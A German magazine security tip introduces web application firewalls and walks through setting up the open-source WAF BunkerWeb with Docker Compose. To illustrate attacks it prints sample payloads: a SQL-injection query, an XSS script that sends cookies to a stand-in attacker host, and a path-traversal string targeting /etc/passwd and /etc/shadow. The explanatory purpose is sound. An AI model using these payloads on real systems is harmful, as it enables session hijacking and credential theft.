Mit BunkerWeb Onlinedienste absichern
Webanwendungen gehören zu den bevorzugten Zielen von Angreifern. Sicherheitslücken ermöglichen den Zugriff auf personenbezogene Daten oder direkt auf die darunterliegende Infrastruktur. Die Web Application Firewall BunkerWeb erlaubt einen niederschwelligen Einstieg, um nahezu beliebige Anwendungen mit sinnvollen, anwendungsunabhängigen Schutzmaßnahmen abzusichern.
Eine Web Application Firewall (WAF) operiert auf der Anwendungsschicht und analysiert HTTP/HTTPS-Traffic auf dieser Ebene. Im Gegensatz zu traditionellen Netzwerkfirewalls, die also auf TCP/IP-Ebene primär IP-Adressen, Ports und Protokolle filtern, verstehen WAFs die Semantik von Webserver-Anfragen und können damit anwendungsspezifische Angriffe erkennen und blockieren. Eine WAF sitzt typischerweise als Reverse-Proxy zwischen dem anfragenden Client und dem eigentlichen Webserver, auf dem die Anwendung läuft. Eingehende HTTP-Anfragen durchlaufen mehrere Analysephasen, bevor sie weitergeleitet werden:
- Request-Parsing: Zerlegung des HTTP-Requests in Header, Parameter, Body und Cookies.
- Regelwerk-Evaluation: Abgleich der entsprechenden Werte gegen definierte Sicherheitsregeln, etwa User-Agent, bestimmte Cookies, et cetera.
- Anomalie-Bewertung: Die Bewertung verdächtiger Muster und das Scoring der Anfrage für die Entscheidungsfindung.
- Entscheidung: Weiterleiten der Anfrage (Allow) oder Ablehnen der Anfrage (Block). Es ist auch möglich, weitere Challenges, zum Beispiel Captchas, auf Basis der Bewertung zu erzwingen.
- Response-Filtering: Optional ist je nach eingesetzter WAF auch eine Analyse ausgehender Responses möglich.
Dabei kommen für die Erkennung von Anomalien verschiedene technische Verfahren zum Einsatz. Diese können signaturbasiert (wie etwa bei einem Virenscanner) oder anomaliebasiert (auf Basis üblicher Anfragen, etwa auch anhand des Verhaltens wie der Frequenz von Einzelabfragen) stattfinden.
Typische Angriffe
Die Angriffsmuster gegen Webanwendungen zielen heute gar nicht mehr gegen den Webserver, die Programmiersprache oder das Datenbank-Managementsystem, sondern vor allem gegen Verwundbarkeiten in der Webanwendung selbst. Oft sind es Benutzereingaben, die nicht zuverlässig vor ihrer Weiterverarbeitung geprüft werden. Ein einfaches Beispiel ist die Benutzer-Suchfunktion einer interaktiven Webanwendung. Der Angreifer gibt in das Suchfeld statt einem Benutzernamen einfach Folgendes ein:
GET /search?query=admin' UNION SELECT username,password FROM users --
Hierbei handelt es sich um einen klassischen SQL-Injection-Angriff. Prüft die Anwendung die Anfrage nicht und maskiert zum Beispiel das Hochkomma ' nicht, liefert die Anfrage neben dem gesuchten Benutzer auch alle Benutzernamen und Passwörter frei Haus.
Ein weiterer Angriff basiert auf dem Einschleusen von Informationen in fremde Anwendungssitzungen hinein. Wenn ein Angreifer ungeprüft zum Beispiel HTML- oder JavaScript-Code auf eine Seite bringen kann, dann kontrolliert er plötzlich die Browsersitzung eines anderen Benutzers. Ein Beispiel dafür ist ein Kommentar unter einem Blogeintrag, der wie folgt aussieht:
<script>document.location= 'http://it-angreifer.de/steal.php? cookie='+document.cookie</script>
Wird dieser Block dann ausgeführt, erhält der Angreifer etwa die Sitzungscookies der regulären Benutzer und kann damit dann fremde Sitzungen oder ganze Konten übernehmen.
Ein weiteres klassisches Muster lässt sich umsetzen, wenn eine Anwendung etwa die Änderung einer Datei im Dateisystem des Webservers vorsieht. Schafft es der Angreifer hier Systemdateien zu manipulieren, etwa indem er den Pfad der zu ändernden Datei beeinflusst, lassen sich zum Beispiel die Passwortdatei "/../../../../../../etc/passwd" oder das File "/../../../../../../etc/shadow" auslesen oder ändern und ein Angreifer kann so sogar Zugriff auf das Betriebssystem des Webservers erhalten.
BunkerWeb als Open-Source-WAF
Wenn Sie Ihren Server zusätzlich mit einer WAF absichern möchten, gibt es einen großen Markt an Anbietern. Cloudflare oder die AWS WAF sind als Cloud-WAF natürlich sehr einfach zu integrieren und aufgrund der Vielzahl der Kunden und Angriffe, denen sie ausgesetzt sind auch immer auf dem aktuellen Stand der Bedrohungen. Eine Möglichkeit zum Selbst-Hosten bietet dagegen das OWASP ModSecurity Projekt mit ModSecurity. Dieses Konzept lässt sich durchaus als Grundlage für die eigene WAF nutzen.
Um eine umfangreiche WAF selbst zu hosten, wollen wir im Folgenden BunkerWeb als eine gut durchdachte und umfangreiche Alternative vorstellen, die ebenfalls auf ModSecurity zurückgreift. BunkerWeb positioniert sich als moderne Open-Source-WAF auf Basis von Nginx als performantem Proxy-Webserver, erweitert jedoch die traditionelle ModSecurity-Integration um zusätzliche Sicherheitsmodule.
Ausgehend von dem bewährten OWASP-Regelsatz von ModSecurity integriert BunkerWeb eine erweiterte Bot-Erkennung mit eingebauten Multi-Challenge-Systemen, die auf JavaScript oder Cookies basieren und notfalls auch auf unterschiedliche Captcha-Implementierungen zurückgreifen können. Über die Geolocation-Funktion lassen sich Anfragen aus untypischen Regionen der Erde identifizieren und entsprechend behandeln und Limit-Plug-in setzt einfach DDoS-Protection um und limitiert die Anzahl an Abfragen nach verschiedenen Kriterien. BunkerWeb unterstützt Let's Encrypt als Anbieter für TLS-Zertifikate. Es erlaubt die Auswahl der Backends (HTTP oder DNS mit zwei Handvoll Anbietern) und kümmert sich um das gesamte Zertifikatsmanagement.
BunkerWeb unterstützt die direkte Installation sowie die Verwendung in Containerumgebungen wie Docker, Swarm oder Kubernetes. Um einen Blick in die Funktionsweise und den Aufbau zu erhalten, setzen wir BunkerWeb selbst einmal entsprechend der offiziellen Quickstart-Anleitung mit Docker Compose auf.
Um direkt loslegen zu können, empfiehlt sich ein virtueller Server mit einer öffentlichen IP und bestenfalls zwei unterschiedlichen Namenseinträgen in Ihrem DNS, zum Beispiel "bunker" und "app", falls diese noch nicht vergeben sind. Notfalls können Sie BunkerWeb aber auch erst einmal bei sich lokal auf dem Linux-Rechner betreiben. Wir verwenden die vorgeschlagene Docker-Compose Datei aus der Anleitung und ändern zunächst das Passwort für die SQL-Datenbank.
Das müssen Sie an zwei Stellen erledigen, einmal bei der Variablendeklaration für die Laufzeitumgebungen oben in der Datei und einmal beim MariaDB-Service. Beide Passwörter müssen natürlich gleich sein. Starten Sie anschließend den Container mit dem Kommando docker compose up und beobachten Sie den Startlauf der WAF. Ist dieser durchgelaufen, öffnen Sie mit Ihrem Browser die entsprechende URL der Domain oder von localhost, in unserem Fall lautet diese "https://bunker. it-administrator.de/setup" (die Zertifikatswarnung müssen Sie zunächst akzeptieren) und führen die folgenden drei Schritte des Setups durch, indem Sie einen Benutzernamen sowie das zugehörige Passwort hinzufügen und die erste Konfiguration vornehmen, wie etwa die Weboberfläche mit einem Zertifikat von Let's Encrypt auszustatten.
Anschließend können Sie sich in der Verwaltungsoberfläche anmelden und erhalten ein umfangreiches Menü an Optionen. Um schnell eine Idee der Leistungsfähigkeit zu erhalten, erstellen wir unter "Services" zunächst mit einem Klick auf "+ Create new Service" ein neues Ziel, das wir dann mit BunkerWeb schützen. Nun gelangen Sie in einen Dialog mit elf Seiten, wo Sie zunächst die Domain, also zum Beispiel "app.it-administrator.de" und einige Einstellungen zur Absicherung der Kommunikation konfigurieren.
Mit "Next" gelangen Sie weiter und konfigurieren nun den Upstream-Server, also die Lokation, wo Ihre Anwendung tatsächlich läuft. Das kann jetzt zum Beispiel eine bereits vorhandene Webseite sein oder eine Anwendung, die ebenfalls in Docker oder einem Kubernetes-Cluster erreichbar ist. Wir tragen hier einfach "https://it-administrator.de" ein.
Klicken Sie sich nun weiter durch und schauen sich die Optionen von BunkerWeb etwas genauer an. Unter Schritt 5 können Sie etwa den "Bad Behavior"-Filter aktivieren, der unerwünschtes Verhalten als Anomalie erkennt und dann entsprechend reagiert. Anschließend konfigurieren Sie Blacklisting und Anfragelimits und gelangen dann unter Schritt 8 zu Maßnahmen der Boterkennung.
Hier lassen sich dann Captchas unterschiedlicher Anbieter aktivieren, die vor dem Besuch der Ressource zunächst zu lösen sind. Wählen Sie hier unter "USE_ ANTIBOT" einfach "captcha" und testen Sie, wie sich das beim Aufruf der Seite auswirkt. Wenn Sie bei Schritt 11 angekommen sind, haben Sie alle Schutzoptionen gesehen und speichern mittels "Save" den Dienst. Rufen Sie diesen nun auf, erhalten Sie ein Captcha. Nachdem Sie dieses gelöst haben, gelangen Sie auf die eigentliche Anwendung.
Machen Sie sich mit BunkerWeb vertraut, schauen Sie auch einmal unter "Plug-ins" nach, welche Erweiterungen Sie etwa über eine entsprechende Lizenz bei den Entwicklern noch sinnvoll hinzufügen können. Grundsätzlich bietet die Grundinstallation aber schon einmal mehr Schutz gegen Angreifer als gänzlich ohne WAF.
Fazit
Webapplikationen sind laufend Angriffen ausgesetzt. In diesem Monat haben Sie in unserem Security-Tipp die selbstgehostete Web Application Firewall BunkerWeb kennengelernt. Diese bietet einen guten und übersichtlichen Einstieg in die Sicherheitsthematik für Webserver und sorgt schon nach kurzer Zeit für eine erhöhte Sicherheit der von Ihnen eingesetzten Webanwendungen. (dr)
Dieser Security-Tipp ist im IT-Administrator Magazin der Ausgabe 08/2025 erschienen. Darin finden Sie zahlreiche weitere spannende Beiträge zum Schwerpunkt "Sicherheit für Cloud & Virtualisierung".